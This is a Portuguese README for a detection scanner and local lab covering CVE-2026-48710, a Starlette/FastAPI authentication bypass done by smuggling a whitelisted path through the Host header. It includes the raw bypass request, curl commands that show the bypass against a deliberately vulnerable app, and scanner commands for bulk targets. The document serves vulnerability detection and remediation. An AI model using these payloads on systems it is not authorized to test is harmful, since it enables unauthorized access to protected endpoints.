
Scanner de detecção para CVE-2026-48710 - Bypass de autenticação via cabeçalho Host no Starlette/FastAPI
Scanner de deteção apenas para o bypass de autenticação BadHost no Starlette / FastAPI — onde o middleware de autenticação lê request.url.path em vez de request.scope["path"], permitindo que um cabeçalho Host manipulado contrabandeie um caminho na whitelist e ignore a autenticação.
GET /admin HTTP/1.1
Host: api.internal/health?__badhost=
# Starlette vê request.url.path == "/health" → permitido
# ASGI ainda roteia para /admin → bypass
Afetado: Starlette ≤ 0.46.1 / FastAPI ≤ 0.115.x
Corrigido em: Starlette 0.46.2+
https://host/path) — o caminho é extraído automaticamente como sondaHost como X-Forwarded-Host, duas estratégias de payload--preset ai) e MCP (--preset mcp)--json, --csvbadhost_vuln_lab/)Acompanha duas aplicações FastAPI para validação local:
| App | URL | Auth lê |
|---|---|---|
| Vulnerável | http://127.0.0.1:8000 | request.url.path — bypass |
| Corrigida | http://127.0.0.1:8001 | request.scope["path"] — segura |
cd badhost_vuln_lab
docker compose up --build
Ou sem Docker:
pip install -r badhost_vuln_lab/requirements.txt
uvicorn badhost_vuln_lab.app_vulnerable:app --host 127.0.0.1 --port 8000
uvicorn badhost_vuln_lab.app_fixed:app --host 127.0.0.1 --port 8001
curl -i http://127.0.0.1:8000/admin # 403
curl -i -H "Host: 127.0.0.1:8000/health?x=" http://127.0.0.1:8000/admin # 200 — bypass
curl -i -H "Host: 127.0.0.1:8001/health?x=" http://127.0.0.1:8001/admin # 403 — corrigida
git clone https://github.com/Bhanunamikaze/BadHost-CVE-2026-48710-Exploit.git
cd BadHost-CVE-2026-48710-Exploit
python badhost_openapi_scanner.py --help # Python 3.9+, não necessita de pip install
# URL completa única — caminho extraído automaticamente, sem necessidade de flags adicionais
python badhost_openapi_scanner.py https://api.internal/checkout/ai-builder
# Múltiplas URLs completas
python badhost_openapi_scanner.py https://api.internal/admin https://api.internal/api/users
# Adicionar caminhos extra além de uma URL completa
python badhost_openapi_scanner.py https://api.internal/checkout \
--protected POST:/api/checkout --protected GET:/api/cart
# Análise apenas de leitura a partir de openapi.json local
python badhost_openapi_scanner.py http://api.internal:8000 --openapi ./openapi.json
# Incluir métodos de escrita (apenas em staging/autorizado)
python badhost_openapi_scanner.py http://api.internal:8000 \
--openapi ./openapi.json --openapi-methods all \
--unsafe-allow-write --openapi-body-mode invalid
# Obter OpenAPI diretamente do alvo
python badhost_openapi_scanner.py http://api.internal:8000 \
--openapi http://api.internal:8000/openapi.json
# Múltiplos alvos, saída CSV
python badhost_openapi_scanner.py --targets-file targets.txt \
--openapi ./openapi.json --csv > results.csv
# Caminhos predefinidos AI/LLM + MCP (sem necessidade de OpenAPI)
python badhost_openapi_scanner.py http://api.internal:8000 --preset all
--openapi-body-mode invalidenvia{}para métodos de escrita — provoca FastAPI422após bypass de autenticação sem executar o endpoint. Um resultadobaseline=403 test=422é ainda uma descoberta SUSPEITA que vale a pena investigar.
Não use--openapi-body-mode minimalem produção — constrói corpos de pedido válidos que podem executar endpoints de escrita.
| Verdicto | Significado |
|---|---|
CONFIRMED | Baseline 401/403 → teste 2xx. Vulnerável. |
SUSPECT | Baseline 401/403 → teste 404/405/422. A gate de autenticação parece ter sido contornada; verifique manualmente. 422 do FastAPI é especialmente significativo. |
REJECTED | Proxy rejeitou Host malformado (400/421) antes do bypass |
BLOCKED | Pedido manipulado ainda negado |
OPEN | Já acessível sem autenticação — não é este CVE |
Apenas CONFIRMED e SUSPECT aparecem na saída. Código de saída 2 = CONFIRMED, 1 = SUSPECT, 0 = limpo.
# Vulnerável
if request.url.path.startswith("/public"):
...
# Corrigido
if request.scope["path"].startswith("/public"):
...
Atualize para Starlette 0.46.2+ / FastAPI 0.116.0+.
Apenas para testes autorizados. Analise apenas sistemas que possui ou para os quais tem permissão explícita para testar.